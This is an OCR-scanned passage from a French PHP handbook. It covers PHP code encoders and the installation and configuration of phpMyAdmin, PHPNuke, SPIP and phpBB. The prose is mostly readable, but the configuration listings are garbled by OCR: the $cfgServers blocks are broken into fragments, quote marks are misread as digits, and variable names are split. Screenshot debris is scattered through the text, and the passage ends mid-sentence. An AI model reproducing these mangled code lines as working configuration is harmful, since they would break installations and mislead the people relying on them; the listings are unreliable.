apparaitre. Ce type de solution perdrait alors son avantage). 

Le melange de codes sources obfusques avec des codes sources non obfusques n'est pas chose 
aisee, mais e'est peut-etre la le prix a payer pour un meilleur camouflage du code. 



20.6. Autres 

II existe un certain nombre d'autres solutions basees, pour la plupart, sur un simple cryptage des 
sources a l'aide d'un mot de passe. Toutes ces solutions necessitent ['installation d'un logiciel 
specifique sur le serveur, et ne garantissent pas necessairement la protection du code si le mot 
de passe venait a etre "cracke" (ou tout simplement si l'analyseur PHP etait modifie pour 
restituer le code source decrypte qui lui est communique par la partie serveur du logiciel 
d'obfuscation). 

Parmi elles, nous pouvons citer : 

PHTML Encoder disponible a l'adresse http://www.rssoftlab.com/ ; 
Source Defendeur presente a l'adresse http://www.sourcedefender.com/ ; 
PHP Screw a l'adresse http://sourceforge.net/projects/php-screw/. 
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Administration de bases de donnees 



21.1. Administration de bases de donnees 

phpMyAdmin 

Installation et configuration 

Certains programmes d'installation automatique de PHP/MySQL comprennent deja 
phpMyAdmin. En revanche, si vous avez choisi d'installer vous-meme MySQL, il est fort 
probable que phpMyAdmin ne soit pas sur votre systeme, ce qui est bien dommage... En effet, 
phpMyAdmin est un programme libre et gratuit qui facilite grandement l'administration et 
l'utilisation d'un serveur de bases de donnees MySQL. Via une interface web simple, puissante 
et francisee, il permet de mener a bien quasiment toute operation relative au serveur. 



Accueil 


Bienvenue a phpMyAdmin 2.2.6 




1- il 


MySQL 3.23.49-max-nt sur le serveur localhost - utilisateur 


root@localhost 




Choisissez une 
base de donnees 


MySQL 

r Creer une base de donnees [Documentation] 


phpMyAdmin 

r- Language: | French (fr) 




Creer | 






r* Aftlcher I'etat du serveur MySQL [Documentation] 

r- Afficher les variables du serveur MySQL [Documentation] 

r* Afficher les processus [Documentation] 

r- Recharger MySQL [Documentation] 

r- Utilisateurs et privileges [Documentation] 

r- Statistiques surles bases de donnees 


r- Documentation de phpMyAdmin 

r- Afficher les informations relatives a PHP 
r- Site officiel de phpMyAdmin 

[ChangeLog] [CVS] [Lists] 



Figure 21 .1 : phpMyAdmin 



Vous pourrez ainsi creer et supprimer des bases, creer, copier et effacer des tables, lancer des 
requetes SQL, charger des fichiers textes dans des tables, administrer plusieurs serveurs a la 
fois, sauvegarder vos donnees, etc. 

Telechargez la derniere version de phpMyAdmin a l'adresse www.phpmyadmin.net ou bien utilisez 
celle disponible sur le CD-ROM. Decompressez le contenu de l'archive, par exemple a la base 
de votre serveur web (ou dans un repertoire de votre machine pour pouvoir modifier certains 
scripts avant de les transferer dans un espace alloue par un hebergeur) ; cela aura pour effet de 
creer un repertoire phpMyAdmin-2.5.7 (que vous pouvez eventuellement renommer en 
phpmyadmin). 

A l'aide de votre editeur de texte prefere, editez le fichier config.incphp et recherchez la ligne : 
$cfgPmaAbsol uteUri = 11 ; 

Completez avec l'adresse web a laquelle sera disponible votre phpMyAdmin. Si vous avez suivi 
l'exemple cite plus haut (phpmyadmin), vous devrez donner cette adresse : 

$cfgPmaAbsol uteUri = 1 http://www.votrenomdedomaine.com/phpmyadmin/ 1 ; 
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Passons maintenant ail bloc * Server (s) configuration. II s'agit de configurer la connexion 
aii serveur de bases de donnees. II faut, en effet, que phpMyAdmin puisse avoir acces au 
serveur si Ton veut qu'il le manipule. Recherchez et completez les lignes suivantes : 

$cfgServers [1] [ ' host '] = "; // MySQL hostname 

Completez avec locaihost. Si vous installez phpMyAdmin chez votre hebergeur, il peut etre 
utile de se referer a sa documentation, le nom de l'hote pouvant varier. 

$cfgServers [1] ['auth_type'] = 'config 1 ; // Authentication method (config, http or 
x cookie based)? 

Completez avec "config", "http" OU "cookie". 

config permet a n'importe quel utilisateur d'avoir acces a phpMyAdmin sans avoir a 
s'identifier. Ce sont, en effet, les parametres du fichier config. inc. php qui sont utilises. Ce 
choix n'est pas le plus sur. N'importe quel utilisateur qui connait l'adresse de votre 
phpMyAdmin pourrait se connecter au serveur MySQL et supprimer bases ou tables sans 
probleme. Les options "http" ou "cookie" requierent une authentification de la part de 
l'utilisateur qui se connecte. 

http : un formulaire demande a l'utilisateur ses login et mot de passe, puis les enregistre 
dans un trousseau de cles (selon les navigateurs). Ne fonctionne qu'avec PHP installe 
comme module Apache. PHP en CGI ne permet pas d'utiliser ce mode de connexion. 

cookie : les informations de connexion seront conservees dans un cookie qui ne sera 
valable que le temps de la session. 

$cfgServers [1] ['user'] = 'votre_pseudo_administrateur' ; 

Completez avec le pseudonyme de l'administrateur du serveur de bases de donnees. 
Generalement, c'est "root", a moins que vous ne l'ayez change manuellement. 

$cfgServers [1] ['password'] = ''; // MySQL password (only needed with 'config' 
x auth) 

Comme vous l'indique le fichier de configuration, vous n'avez a renseigner cette ligne que si 
vous utilisez la methode de connexion config ; celle qui donne acces au serveur a tous les 
utilisateurs qui connaissent l'adresse de votre phpMyAdmin. 

Securiser malgre tout 

Si vous tenez a conserver le mode de connexion "config", vous pouvez tout de meme 
securiser Faeces a votre serveur de bases de donnees en utilisant les restrictions 
d'acces que propose votre serveur web (ex. : fichier Jitaccess d'Apache). 

Vous pouvez egalement configurer des a present phpMyAdmin pour qu'il soit en francais. 
Recherchez cette ligne dans le fichier config.inc.php : 

requi re( ' ./I ibraries/sel ect_lang.l ib.php ' ) ; 

et modifiez-la comme suit : 

require("french.inc.php3") ; 
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Une autre option interessante de ce fichier de configuration est la possibilite de configurer 
1'acces pour des utilisateurs differents ayant des droits differents. Pour utiliser cette 
fonctionnalite de phpMyAdmin, il faut bien entendu que des utilisateurs autres que "root" 
aient ete crees sur le serveur MySQL (voir plus loin Prise en main). Dans le fichier de 
configuration, vous devez trouver plusieurs fois cette suite de lignes : 



fcfgServe 
£cfgServe 
fcfgServe 
fcfgServe 
fcfgServe 
fcfgServe 
(cfgServe 
fcfgServe 
fcfgServe 
(cfgServe 
fcfgServe 
fcfgServe 
fcfgServe 
fcfgServe 



rs[$i][ 



rs[$ 
rs[$ 
rs[$ 
rs[$ 
rs[$ 
rs[$ 
rs[$ 
rs[$ 
rs[$ 
rs[$ 
rs[$ 
rs[$ 
rs[$ 



host'] 

port'] 

socket '] 

connect_type'] 

control user 1 ] 

controlpass 1 ] 

auth_type'] 

user'] 

password 1 ] 

only_db '] 

verbose'] 

bookmarkdb '] 

bookmarktable'] 

relation'] 



tcp' ; 



config' 
root ' : 



Ce sont des doublons de configuration d'acces prets a l'emploi. II suffit de les dupliquer et de les 
completer pour chacun des utilisateurs requis. Pour un phpMyAdmin qui dispose deja d'un 
utilisateur "root", si Ton veut ajouter l'utilisatrice "Emma", ayant le mot de passe "youpi", il 
faudra avoir la configuration suivante : 



fcfgServers 
fcfgServers 
fcfgServers 
{cfgServers 
fcfgServers 
fcfgServers 
{cfgServers 
fcfgServers 
fcfgServers 
fcfgServers 
fcfgServers 
fcfgServers 
fcfgServers 
fcfgServers 

fcfgServers 
{cfgServers 
fcfgServers 
fcfgServers 
fcfgServers 
fcfgServers 
fcfgServers 
fcfgServers 
{cfgServers 
fcfgServers 



host'] 

port '] 

socket '] 

connect_type'] 

control user 1 ] 

control pass '] 

auth_type'] 

user'] 

password '] 

only_db'] 

verbose'] 

bookmarkdb'] 

bookmarktable'] 

rel ation '] 

host'] 
port'] 
socket '] 
connect_type'] 
control user 1 ] 
control pass '] 
auth_type'] 
user'] 
password '] 
only db'] 



I ocal host ' ; 



tcp' 



http ' ; 
root ' ; 
coucou' 



I ocal host ' 



tcp' 



http ' ; 
emma ' ; 
youpi 
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$cf gServers [2] [ 1 verbose 1 ] = ' ' ; 

$cf gServers [2] ['bookmarkdb'] = "; 

$cf gServers [2] ['bookmarktable'] = ''; 

$cfgServers [2] ['relation'] = ''; 

La ligne suivante : 

$cfgServers [2] ['only_db'] = ''; 

permet ensuite de specifier les bases qui doivent etre listees pour cette utilisatrice en 
particulier. Cela ne remplace en rien les droits et privileges attribues dans MySQL. II est 
seulement question d'affichage. 

Une fois que votre fichier de configuration est correctement renseigne, sauvegardez-le. Vous 
pouvez alors commencer a utiliser phpMyAdmin en vous rendant a l'adresse : 
http://votrenomdedomaine/phpmyadmin/. 
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Prise en main 

phpMyAdmin vous permet de gerer au mieux vos bases MySQL. Nous allons passer en revue 
les fonctions les plus simples et les plus basiques. 

Aspect general 

Dans la partie gauche de la page, vous devez trouver, sous la mention Accueil, un menu 
"* .£ - i| deroulant des differentes bases de donnees presentes sur le systeme. La partie qui nous 

g E interesse se trouve sur la partie droite de la page. On peut voir deux colonnes : une premiere qui 

= S £ propose des liens en rapport avec MySQL, et une seconde qui concerne phpMyAdmin. 

^ Creer un utilisateur 

Pour creer un utilisateur, rendez-vous sur le page principale de votre phpMyAdmin. Dans la 
partie droite de la page, sous MySQL cliquez sur le lien Utilisateurs et privileges. Notez au 
passage que vous disposez egalement d'un lien vers la documentation en ligne. Sur la nouvelle 
page qui s'affiche, vous trouvez deux parties : en premier lieu, un tableau qui resume tous les 
utilisateurs deja crees ainsi qu'un resume de leurs privileges et, en second lieu, une serie 
d'options et de champs qui vont vous permettre de creer de nouveaux utilisateurs. Allez 
directement dans la parties/outer un utilisateur (voir fig. 21.2). 

Vous pouvez tout d'abord selectionner le serveur sur lequel vous desirez creer cet utilisateur, 
phpMyAdmin pouvant effectivement gerer plusieurs serveurs. La ligne suivante vous demande 
Tout utilisateur ou Nom d'utilisateur si vous souhaitez specifier un nom d'utilisateur. Cela est 
d'ailleurs tres largement preferable. En effet, vous pourriez creer un acces sur n'importe quel 
nom d'utilisateur sans donner de mot de passe, ce qui aurait pour effet d'ouvrir votre serveur de 
bases de donnees a n'importe qui... 
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• Recharger MySQL [Documentation] 




• Affi cher les privileges sur 




Base de donnees: IIHI^I Enecuter | 




• Ajouter un utilisateur 




© Toutserveur *"* Serveur: 


1 


f Tout utilisateur P Norn d'utilisateur : | 




<~ aucun rnotde passe £ Motdepasse: 


Entrera nouveau ; | 


Privileges : 






□ Select 


I - Insert 




r Update 


□ Delete 




I - Create 


V Drop 




□ Reload 


|~~ Shutdown 




f Process 


r File 




f Grant 


I - References 




I - Index 


r Alter 




Toutcocher 


Tout decocher 




Ejiocuter 







Figure 21.2 : Ajouter un utilisateur dans phpMyAdmin 



Donnez done un nom d'utilisateur dans le champ prevu a cet effet, et donnez deux fois de suite 
le mot de passe sur la ligne suivante. II faut encore indiquer les privileges qui seront attribues a 
ce nouvel utilisateur. Cochez chacune des cases correspondantes selon les privileges que vous 
souhaitez allouer. Vous pouvez cliquer sur Executer pour que la creation soit lancee. 

Une fois ce nouvel utilisateur cree, vous pouvez l'ajouter a votre fichier de configuration de 
phpMyAdmin pour qu'il puisse se connecter au serveur, ou l'utiliser pour des applications web 
necessitant une connexion au serveur de base. 

Creer une base 

Pour creer une base, cliquez sur Accueil, tout en haut a gauche de la page d'accueil de 
phpMyAdmin. Une fois la page rafraichie, juste sous la petite barre MySQL, donnez le nom de 
table que vous voulez creer dans le champ prevu a cet effet, puis cliquez sur Creer. 

Supprimer une base 

Pour supprimer une base, choisissez la base dans le menu deroulant qui se situe juste sous la 
mention Accueil. La partie de droite s'actualise alors pour vous presenter un resume de la table 
selectionnee. Tout en bas de cette page se trouve un lien Supprimer la base ... II suffit de cliquer 
sur ce lien. 

Creer une table 

Une fois que vous avez choisi une base, sur la partie droite de la page web, rendez-vous dans la 
section Creer une nouvelle table sur la base ... Donnez alors le nom de la table ainsi que le 
nombre de champs que vous voulez qu'elle comporte, puis cliquez sur Executer. La page se 
rafraichit et vous presente alors une vue en tableau de la future table. Renseignez tous les 
parametres necessaires pour chaque champ de la table, puis validez en cliquant sur le bouton 
Sauvegarder situe en bas de la page. 
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Supprimer une table 

Choisissez d'abord la base dans laquelle se trouve la table. Dans le menu situe a gauche de la 
page, cliquez sur le nom de la table que vous voulez supprimer. Dans la partie droite de la page, 
cliquez sur le lien Supprimer de la ligne correspondant a la table concernee. 

Sauvegarder une table ou une base 

Sauvegarder une base ou une table MySQL est une operation fort simple grace a 
phpMyAdmin. Cliquez, dans la partie gauche de la page, sur une table ou une base. La partie 
droite se rafraichit. Rendez-vous dans la section Afficher le schema de la base (ou de la table). 
Si vous avez choisi une base, vous pourrez selectionner les tables a sauvegarder grace a une 
petite liste. Ensuite, decidez de sauvegarder la structure de la base, la structure et les donnees 
ou seulement les donnees. Choisissez ensuite les options qui vous interessent parmi les 
differentes options offertes : ajouter des enonces, insertions completes ou etendues, etc. 
Cliquez sur Transmettre. Selon les configurations de PHP, il vous sera egalement possible de 
compacter le fichier de sauvegarde (zippe). 

Restaurer une table ou une base 

Le fichier genere par la sauvegarde peut, bien sur, servir a recreer une table ou une base. En 
fait, le fichier de sauvegarde contient des requetes SQL et des donnees variables selon les 
options choisies lors de la sauvegarde. Admettons que votre base portait le nom de "Emma" : il 
vous suffit de recreer une base "Emma" sur le nouveau serveur. Rendez-vous dans la section 
Executer une ou des requetes sur la base Emma. Dans la partie Emplacement du fichier texte , 
cliquez sur le bouton Parcourir, donnez ['emplacement du fichier de sauvegarde puis cliquez 
sur Executer. 

Autres 

II existe d'autres scripts, similaires a phpMyAdmin mais adaptes a d'autres serveurs de bases de 
donnees. Parmi eux nous trouvons : 

phpPgAdmin, destine a administrer PostgreSQL et disponible a l'adresse 
http://sourceforge.net/projects/phpPgAdmin/ ; 

phpOracleAdmin, destine a administrer Oracle et disponible a l'adresse 
http://phporacleadmin.org/. 
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21.2. Creation de sites 

PHPNuke 

Presentation 

PHPNuke est un logiciel libre et gratuit que vous pourrez modifier et adapter a votre gre. 



? PHP-Nuke FRANCE - Microsoft Internet txploi 
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Figure 21.3 : PHPNuke 
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PHPNuke est un systeme qui gere completement votre site web. Lorsque vous installez 
PHPNuke, vous obtenez un site qui a deja une page d'accueil vous permettant de mettre en 
ligne des articles avec forums integres ; il gere l'inscription des utilisateurs, offre une zone de 
telechargement moderee, etc. Vous n'avez pas a utiliser un editeur de pages web pour travailler 
avec un site qui utilise PHPNuke. S'il est possible de reprocher a PHPNuke d'etre une "usine a 
gaz", il reste tout de meme une solution rapide et pratique pour mettre en place un site et 
diffuser des informations sans avoir a passer par les etapes fastidieuses de l'editeur HTML et 
du developpement en PHP. 

Au quotidien, deux aspects de PHPNuke seront mis face a face : sa facilite de gestion et sa 
rigidite. Par exemple, la page d'accueil d'un site sous PHPNuke se presente sous forme de 
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blocs : blocs de menus, blocs des articles, etc. Si vous voulez faire passer un bloc de liens de 
droite a gauche, il vous suffit de cliquer sur de petites fleches dans l'espace d'administration du 
site. Si vous voulez mettre en ligne un article, vous faites un copier-coller dans un champ texte 
et le tour est joue. De meme, pour changer tout l'aspect visuel du site, il n'y a qu'a choisir dans 
une liste pour que tout le look du site soit modifie. En revanche, vous risquez d'etre rapidement 
bloque par la rigidite de PHPNuke. Pour ne parler que d'un point relativement secondaire dans 
un site web : la page d'accueil reste desesperement figee. Vous ne pourrez pas sortir du modele 
"deux petites colonnes et une grosse" sans mettre les mains dans le code. Cela risque d'ailleurs 
de faire s'effondrer le chateau de cartes, tout etant tres imbrique dans PHPNuke. A la longue, 
cela peut lasser. 
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Installation 

Pour installer PHPNuke, allez tout d'abord creer un dossier "phpnuke" quelque part sur votre 
serveur web ou chez votre hebergeur. Decompactez l'archive PHPNuke disponible a l'adresse 
http://www.phpnuke.org/ (mais egalement presente sur le CD-ROM de la presente Bible). II faut 
decompacter le contenu du dossier "/html" de l'archive dans le dossier " phpnuke". Le reste se 
resume a une licence que vous devez deja connaitre par coeur (la GPL) et a des fichiers 
README (assez classiques, mais que les anglophones auront tout de meme interet a lire pour 
etre tenus au courant des evolutions de PHPNuke). 

Apres avoir decompacte tous les fichiers, rendez-vous dans phpMy Admin. Pour que PHPNuke 
fonctionne, il faut qu'il puisse utiliser une base de donnees MySQL. Si vous etes votre propre 
hebergeur, vous pouvez envisager de creer une table "nuke", sinon toute autre base devrait faire 
1'affaire. 
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< " J° <!§2? ' Vous pouvez vous reporter a la section MySQL du chapitre sur les bases de donnees 
ou a I'annexe phpMyAdmin pour voir comment creer une telle base. 

RENVOI 




II faut maintenant creer les tables, qui sont en fait les tiroirs dans lesquels PHPNuke va venir 
stocker ses informations. Rassurez-vous, les developpeurs de PHPNuke ont pense a vous. Dans 
le dossier qui vous a servi a decompacter PHPNuke, vous devriez trouver le fichier nuke.sql. 
C'est ce fichier qui contient toute la structure et la definition de PHPNuke utiles a votre base de 
donnees. 

Si vous avez acces au client MySQL en ligne de commande (i.e. si vous installez PHPNuke sur 
votre propre machine), vous pouvez taper la commande mysql mabase < nuke, sql (si votre 
base s'appelle "mabase", vous aurez peut-etre a specifier un nom d'utilisateur et un mot de 
passe. Pour plus de details, tapez alors mysql -h). 

Sinon, vous pouvez utiliser phpMyAdmin. Dans la liste des bases presentes sur la partie gauche 
de la page web de phpMyAdmin, selectionnez celle qui doit heberger les tables PHPNuke. La 
partie droite de la page doit se rafraichir. Sur cette page, vous trouvez differentes options qui 
vont vous permettre d'effectuer des requetes sur votre base. Un lien "Emplacement du fichier 
texte" vous offre de telecharger un fichier qui contient toute une serie de requetes. C'est cette 
solution que nous allons utiliser pour creer toutes les tables dont a besoin PHPNuke. Dans la 
page web, cliquez sur Parcourir, allez chercher le fichier nuke.sql, puis cliquez sur le bouton 
Executer pour que les informations contenues dans le fichier soient envoyees au serveur. Si 
jamais, comme cela a pu arriver, l'operation produisait une erreur, vous pouvez essayer de 
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rentrer les requetes de creation de tables une a une. Operation certes fastidieuse, mais 
necessaire au bon fonctionnement de PHPNuke. 

Une fois que le serveur a digere toutes les requetes, vous devez avoir une belle liste de tables 
dans votre base (sur le cote gauche de la page). 

Une fois les tables creees, il faut configurer PHPNuke afin qu'il sache ou aller chercher ces 
bases. A l'aide de votre editeur de texte prefere, ouvrez le fichier config.php qui se situe a la 
racine de votre site. A l'interieur de ce fichier, recherchez les lignes suivantes (en debut de 
fichier) : 

$dbhost = "local host"; 
$dbuname = "toto"; 
$dbpass = "passtoto"; 
$dbname = "basetoto"; 
$dbtype = "MySQL"; 



Tableau 21.1 : 


Un passage commente du fichier vous explique a quoi correspond chacune des 
lignes 


Parametre 


Signification 


$dbhost 


Nom de I'hote de la base MySQL. Generalement, laissez "localhost". 
Renseignez-vous aupres de votre hebergeur pour savoir quels sont les 
parametres exacts. 


$dbuname 


Nom de I'utilisateur de la base MySQL. 


$dbpass 


Mot de passe de I'utilisateur. 


$dbname 


Nom de la base MySQL. 



Une fois que vous avez correctement renseigne chacune de ces lignes, sauvegardez le fichier. 
Voila, tout est dit. Votre site avec PHPNuke est accessible en ligne, chez votre hebergeur ou sur 
votre serveur local. Pour le consulter, rendez-vous directement a la racine du repertoire dans 
lequel vous avez installe PHPNuke, par exemple, http://www.votresite.com/test/. Si rien 
n'apparait, ou si vous avez des erreurs MySQL, cela provient peut-etre d'une erreur lors de 
l'edition du fichier config.php. Verifiez bien les informations que vous avez donnees. Si tout est 
bon, vous devez alors voir la page d'accueil de votre site. Outre le message central, les colonnes 
de droite et de gauche sont deja bien pleines. Vous pourrez reduire, configurer ou supprimer 
ces blocs lateraux depuis l'espace d'administration qui est accessible a une adresse du type : 
http://www.votresite.com/test/admin.php. Rendez-vous d'ailleurs a cette adresse pour creer 
votre compte d'administrateur. 
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Figure 21 .4 : Creation d'un compte d'administrateur 

II vous sera demande un nom d'utilisateur, une adresse email, l'adresse du site de 
1'administrateur (vous pouvez donner l'adresse de votre site) ainsi qu'un mot de passe. Une fois 
toutes les informations donnees, cliquez sur le bouton Submit. Vous arrivez alors directement 
sur une page qui vous permet de vous connecter en tant qu'administrateur. 




Figure 21 .5 : Connexion a V administration 



En plus du nom d'utilisateur et du mot de passe que vous venez de definir, PHPNuke vous 
demander de saisir un code a cinq chiffres aleatore affiche a l'ecran. Cela evite les tentatives de 
piratage par des robots qui testent des jeux de noms d'utilisateur et mot de passe. 
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SPIP 

Presentation (simple, puissant, beau) 
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Figure 21.6 : SPIP 
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SPIP est un moteur de gestion de contenus. II vous permet d'ecrire des articles et de les mettre 
en ligne. Entendez par "article" tout contenu que vous jugerez bon de mettre a disposition des 
visiteurs de votre site. SPIP a ete cree par l'equipe du site Uzine. Par rapport a PHPNuke, SPIP 
a quelques avantages. II dispose notamment d'un systeme de cache qui evite de surcharger un 
serveur, alors que PHPNuke, lui, est lourd au possible. Signalons au passage que ce systeme de 
cache a pour nom "Gargantua"... voila qui ravira tous les amateurs de litterature francaise. 
SPIP est aussi plus simple a mettre en place et a gerer. Etant plus jeune que PHPNuke, SPIP 
dispose pour le moment de moins de fonctionnalites. Gageons que ses createurs sauront lui 
garder cette simplicite qui en fait un excellent outil. Soulignons toutefois que SPIP dispose de 
petits "plus" tout a fait seduisants. Par exemple, quand un auteur se cree un compte, il a la 
possibilite de donner sa cle publique PGP. . . SPIP est actuellement en train de s'orienter vers le 
travail collaboratif (systeme de forum interne a certains redacteurs, messages prives, etc.). On 
reprochera tout de meme a SPIP le manque de "une". En effet, la une d'un site gere par SPIP 
est en constant mouvement. A chaque fois que vous ajoutez un article, il vient prendre place sur 
la page d'accueil. Meme si vous annoncez la periodicite de vos mises a jours, vos visiteurs seront 
prives du plaisir de decouvrir vos anciennes pages d'accueil. Les articles sont bien archives, mais 
la une, elle, n'a pas de memoire. 
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Annexe A : des exemples a" applications 



Compatibilite PHP5 

La version 1. 7.2 de SPIP n'est pas encore compatible avec PHP5. Les developpeurs 
de SPIPy travaillent en modifiant le code du moteur. Ainsi, SPIP devrait rapidement 
devenir compatible avec la version la plus recente de PHP. Pour plus d 'informations : 
www.spip.net/threadspip2014-7420.html. 



Installation (du travail de pro) 

Grossierement, le processus est le meme que pour PHPNuke. II va s'agir de mettre en place une 
interaction entre SPIP et la base de donnees MySQL. Creez un repertoire spip dans le 
repertoire racine de votre serveur web, ou bien la ou vous jugerez utile d'installer SPIP. Dans 
ce repertoire spip, decompactez le fichier spipl. 7. 2.zip disponible en telechargement a l'adresse 
www.uzine.net/spip/ (et que vous trouverez sur le CD-ROM de la Bible). Si vous decompactez les 
fichiers a la racine de votre serveur web ou de votre espace d'hebergement, tout sera mis en vrac 
a la racine et, avouons-le, ce n'est pas tres propre comme installation. Une fois les fichiers 
installes correctement, lancez un navigateur web et rendez-vous a cette adresse : www.votresite 
.com/spip/ecrire/. La, et c'est ce qui est merveilleux, l'Assistant d'installation de SPIP va vous 
prendre par la main. Une premiere page vous demande l'adresse de votre base de donnees, le 
nom d'utilisateur a utiliser (login de connexion) puis le mot de passe de cet utilisateur. Nous ne 
pouvons que vous conseiller d'assigner un mot de passe a l'utilisateur que vous allez creer. Une 
fois tous les champs correctement remplis, cliquez sur suivant. Si la connexion echoue, SPIP 
vous explique pourquoi, et vous invite gentiment a corriger l'erreur (qui, entre nous soit dit, doit 
etre assez benigne). Une fois la connexion avec la base etablie, cliquez sur suivant pour passer 
a la creation de la base de donnees qui sera utilisee par SPIP. SPIP vous propose alors plusieurs 
choix de bases de donnees. Vous pouvez utiliser une base de donnees qui vous a ete attribute 
par votre hebergeur (quand vous n'avez, par exemple, droit qu'a une seule base par serveur de 
bases de donnees), ou bien creer une nouvelle base specialement pour SPIP. SPIP vous propose 
d'ailleurs d'en creer une qui portera son nom, ce qui n'est pas une mauvaise idee (c'est d'ailleurs 
ce que nous vous invitons a faire). Ne touchez a rien, et cliquez, vous vous en doutez, sur le 
bouton suivant. SPIP va alors creer les tables necessaires a son bon fonctionnement au sein de 
la nouvelle base de donnees. Une fois qu'il a fini son travail, il vous en informe, et vu que vous 
vous en tirez parfaitement bien, cliquez une nouvelle fois sur suivant. Tout le coeur du systeme 
SPIP est maintenant installe. II faut desormais creer un premier utilisateur, un chef supreme : 
vous. Donnez votre signature, votre adresse e-mail puis un pseudonyme et un mot de passe qui 
vous serviront a l'administration de votre site. Notez-les precieusement, vous en aurez besoin 
par la suite. Une fois tous les champs remplis, cliquez sur suivant. SPIP vous annonce que vous 
avez tout gagne, que 1'installation et la configuration sont terminees. Vous allez pouvoir com- 
mencer a travailler avec SPIP. Cliquez, et ce pour la derniere fois, sur suivant. Une petite 
fenetre d'identification apparait. Donnez le pseudo et le mot de passe que vous avez utilises lors 
de 1'installation. Vous arrivez alors dans le monde merveilleux de SPIP. 



Configuration 

L'interface d'administration est un peu ardue a comprendre, mais, rassurez-vous, une aide 
complete est integree. Vous pouvez y acceder en cliquant sur le bouton rouge en haut a droite. 
Par la suite, vous pourrez acceder a cette page d'administration en vous rendant a cette 
adresse : http://www.votresite.com/spip/ecrire. Vos pseudo et mot de passe vous seront redemandes. 



A 

ATTENTION 



Forums de discussion 



Comme vous pouvez le constater, en vous rendant sur la page d'accueil du site que vous avez 
cree avec SPIP (http://www.votresite.com/spip), vous manquez cruellement de contenu. Pour reme- 
dier a cela, rendez-vous dans l'espace d'administration (http://www.votresite.com/spip/ecrire). SPIP 
lui-meme vous l'indique : avant de pouvoir ecrire, il faut que vous creiez au moins une rubrique. 
Cliquez sur le lien prevu a cet effet : Creerune nouvelle sous-rubrique. Vous arrivez alors sur une 
page ou il vous est demande de donner un titre a cette nouvelle rubrique et, si vous le desirez, 
de lui adjoindre un descriptif. Une fois que vous etes satisfait de votre rubrique, cliquez sur le 
bouton valider situe en bas de la page. Vous retournez alors dans votre espace d'administration. 
Vous pouvez constater que la nouvelle rubrique apparait. De nouvelles icones sont egalement 
presentes la ou ne figurait que celle de la creation d'une rubrique. Notez tout particulierement 
l'icone Ecrire un nouvel article. Cliquez dessus. Vous arrivez alors sur une page vous offrant de 
rediger un article. Une fois votre article termine, enregistrez-le dans la base. SPIP vous propose 
alors un apercu de votre travail et vous donne la possibilite de changer son statut. Etant donne 
que vous etes l'administrateur du site, vous pouvez mettre directement ce travail en ligne, ce que 
nous vous invitons d'ailleurs a faire. A l'aide du menu deroulant present tout en haut de la page, 
choisissez l'option Publie en ligne, puis cliquez sur Modifier. Vous pouvez aller recolter le fruit 
de votre dur labeur sur la page d'accueil de votre site : http://www.votresite.com/spip/. 

Autres 

II existe de nombreuses solutions destinees a faciliter la mise en place d'un site. En voici 
quelques autres : 

■ Templeet, disponible a l'adresse http://www.templeet.org/ ; 
AttilaPHP, disponible a l'adresse http://www.attila-php.net/ ; 
PHPForge, disponible a l'adresse http://membres.lycos.fr/phpforge/ ; 
postNuke (un clone de PHPNuke), disponible a l'adresse http://www.postnuke.com/. 



21.3. Forums de discussion 
PHPbb 

Presentation (cyber-agora et cafe du commerce virtuel) 

Plutot que de paraphraser betement, donnons la parole au site web PHPbb.biz, le site frangais 
de reference en ce qui concerne PHPbb : "Phpbb est un puissant forum de discussion, convivial 
et agreable d'utilisation. Ses fonctionnalites et sa rapidite sont semblables voire superieures aux 
differents forums payants "haut de gamme" du marche. En effet, PHPbb est libre et gratuit 
(sous licence GNU/GPL). II dispose d'une interface facile a utiliser et d'une aide en ligne sous 
forme de FAQ ("Frequently Asked Questions" ou questions les plus frequemment posees). Le 
panneau d'administration est complet et vous permettra une gestion aisee de votre plateforme 
de communication. Un support technique en francais est disponible, il vous permettra de 
repondre a toutes vos questions". 

Vous trouverez egalement sur ce site un guide d'installation. Gardez cela en tete, cela pourra 
vous etre utile quand vous rechercherez des complements d'information. 
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12 Juin 2002 



'■■/oila i'ai deux choses a vou^ demander 

-J'airnerais indiquer sur la page d'accueil de mon site le nornbre de pasts du forum, Comment dois-j; 
-Mon site contient une partie forum avec une section Pages des uttfisateure (celle-ci par exemple : 

Taimerais pour chaqua utilisataur affkher 

sa page, Encre une foiSj pouvez-vous m'aider ? 
Merci ! 

PS : bien entendu je sais qu'il faut enregistrer les pages en php © 
fc pwfil 1 fSk~^1 W I 'fWj [AiTOHn.) | icq ] 



tu peuM obtenir le nombre torsi de posts sur ton forum par un 
Code: 



SELECT COUNT * FROM phpbb_posts 


qui donnera I'effe.ctif total de la table en question. 






le nornbre de posts par user se trouve dans le champ user_posts de la table phpbb_us 
recuperer sera 
Code: 


ers dor 


c le code SQL pour le 


SELECT user_posts FROM phpbb_users WHERE user_id=$userID 



c jSuserlD contenant 1'identifiant de I'utilisateur 



Cidrolin 

L'erreur est humaine, mai; pour un vrai desastre il faut un ordinateur, 



Figure 21.7 : PHPbb 

Installation 

Installez PHPbb en lui demandant de se decompacter directement dans un dossier que vous 
aurez cree pour lui. PHPbb creera lui-meme un dossier Phpbb. Vous trouverez PHPbb sur le 
site http://www.phpbb.com/ (ou sur le site de la communaute francophone http://www.phpbb.biz) ainsi 
que sur le CD-ROM de la Bible. Lancez un navigateur et rendez-vous a l'adresse : http://www 
.votresite.com/phpBB/install.php. Une fois tous les champs correctement remplis, cliquez sur next. 
PHPbb va alors creer les tables necessaires a son bon fonctionnement. Une page vous tient au 
courant de 1'evolution des creations. Une fois que tout est fait, cliquez une nouvelle fois sur next. 
II vous faut maintenant creer l'administrateur de votre systeme de forums. C'est lui qui aura 
droit de vie et de mort sur tout ce qui se passe dans les forums. Remplissez tous les champs en 
faisant particulierement attention au nom d'utilisateur et au mot de passe. Une fois que vous 
avez rempli tous les champs, cliquez une nouvelle fois sur next. Vous arrivez alors sur la page de 
configuration generale du forum. Vous allez pouvoir, entre autres choses, choisir la langue du 
forum. Cliquez sur next pour enregistrer les parametres. Voila, le forum est configure. PHPbb 
vous presente une page de felicitations et vous invite a aller dans l'espace d'administration des 
forums, ce qui, avouons-le, est plutot une bonne idee. Cliquez sur le lien Administration Area. 
Vous arrivez alors sur une page assez laide, pleine de texte en anglais. 



Configuration (la quete du Graal) 



PHPbb vous previent d'une faille de securite. II refusera de fonctionner tant que vous n'aurez 
pas corrige ce qui le tracasse. Pour les besoins de la configuration, le fichier config.ini etait 
librement modifiable. Maintenant que la configuration est terminee et que vous avez cree un 
administrateur, PHPbb vous demande de changer les attributs du fichier. Pour cela, 
